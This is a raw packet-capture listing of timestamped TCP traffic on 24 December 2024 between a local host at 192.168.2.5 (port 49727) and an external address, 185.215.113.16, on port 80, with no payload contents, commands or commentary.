Dec 24, 2024 12:39:36.525983095 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.525988102 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.526027918 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.526721001 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.526767015 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.526899099 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.526911020 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.526961088 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.527693033 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.527704954 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.527714014 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.527751923 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.528719902 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.528732061 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.528740883 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.528774023 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.528808117 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.529611111 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.529772043 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.529782057 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.529814959 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.530616045 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.530627012 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.530654907 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.530782938 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.530824900 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.531455994 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.531630993 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.531641006 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.531670094 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.532638073 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.532648087 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.532659054 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.532672882 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.532702923 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.533605099 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.533623934 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.533629894 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.533682108 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.534508944 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.534522057 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.534531116 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.534554005 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.534581900 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.535367966 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.535463095 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.535474062 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.535506010 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.536349058 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.536360025 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.536372900 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.536391020 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.536408901 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.537374973 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.537410975 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.537422895 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.537450075 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.538238049 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.538279057 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.538305998 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.538317919 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.538346052 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.539573908 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.539746046 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.539756060 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.539781094 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.540540934 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.540551901 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.540564060 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.540582895 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.540621996 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.541325092 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.541335106 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.541347027 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.541380882 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.542351007 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.542360067 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.542372942 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.542385101 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.542418957 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.543261051 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.543272018 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.543282986 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.543306112 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.544173956 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.544224024 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.544487953 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.544653893 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.544696093 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.590748072 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.590821028 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.590832949 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.590982914 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.591217995 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.591274023 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.591403008 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.591455936 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.591466904 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.591502905 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.592436075 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.592488050 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.592504025 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.592514992 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.592547894 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.593383074 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.593435049 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.593446016 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.593477011 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.594434023 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.594480038 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.594491959 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.594506979 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.594533920 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.595294952 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.595375061 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.595386028 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.595422029 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.596308947 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.596365929 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.596376896 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.596376896 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.596420050 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.597287893 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.597299099 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.597310066 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.597347021 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.598201990 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.598251104 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.598257065 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.661794901 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.661837101 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.661848068 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.661848068 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.661904097 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.662183046 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.662194014 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.662204027 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.662239075 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.663017988 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.663058043 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.663073063 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.663088083 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.663119078 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.663877010 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.663921118 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.663933039 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.663968086 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.664750099 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.664800882 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.664851904 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.716056108 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.716104031 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.716115952 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.716146946 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.716181993 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.716473103 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.716528893 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.716540098 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.716576099 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.717330933 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.717381001 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.717381954 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.717395067 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.717434883 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.718249083 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.718308926 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.718319893 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.718357086 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.719141960 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.719202042 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.719202995 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.719214916 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.719258070 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.720000982 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.720051050 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.720061064 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.720093966 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.720855951 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.720904112 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.720927954 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.720938921 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.720983982 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.721764088 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.721813917 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.721826077 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.721854925 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.722646952 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.722697020 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.722706079 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.722717047 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.722773075 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.723499060 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.723552942 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.723563910 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.723606110 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.724366903 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.724419117 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.724437952 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.724450111 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.724493980 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.725265980 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.725322008 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.725334883 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.725363016 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.726145029 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.726193905 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.726200104 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.726211071 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.726269007 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.727018118 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.727034092 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.727044106 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.727080107 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.727950096 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.728003025 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.728003979 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.728013039 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.728051901 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.728800058 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.728847980 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.728857994 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.728889942 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.729666948 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.729717016 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.729727030 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.729738951 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.729768991 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.730567932 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.730607033 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.730618954 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.730655909 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.731414080 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.731462955 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.731468916 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.731473923 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.731509924 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.732330084 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.732394934 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.732405901 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.732436895 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.733182907 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.733230114 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.733233929 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.733242989 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.733287096 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.734148979 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.734170914 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.734181881 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.734227896 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.735018015 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.735071898 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.783107996 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.783178091 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.783189058 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.783221960 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.783565998 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.783617020 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.783648014 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.784054995 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.784097910 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.784112930 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.784123898 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.784168005 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.784914017 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.784976006 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.784986973 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.785013914 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.785834074 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.785876036 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.785878897 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.785890102 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.785931110 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.786689997 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.786742926 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.786753893 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.786787987 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.787594080 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.787642956 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.787647009 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.787655115 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.787693977 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.788441896 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.788506031 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.788535118 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.788547993 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.789362907 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.789406061 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.789434910 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.789447069 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.789489985 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.790230036 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.854341984 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.854384899 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.854398012 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.854409933 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.854444027 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.854693890 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.854901075 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.854947090 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.855237007 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.855549097 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.855559111 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.855606079 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.856220961 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.856273890 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.856281996 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.856293917 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.856334925 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.856988907 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.857044935 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.857055902 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.857086897 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.908157110 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.908209085 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.908217907 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.908315897 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.908741951 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.908754110 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.908763885 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.908802032 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.909504890 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.909562111 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.909585953 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.909596920 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.909631014 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.910382032 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.910434008 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.910444975 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.910485029 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.911266088 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.911324024 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.911324978 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.911336899 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.911391973 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.912187099 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.912209988 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.912220955 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.912252903 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:36.913009882 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:36.913055897 CET	80	49727	185.215.113.16	192.168.2.5
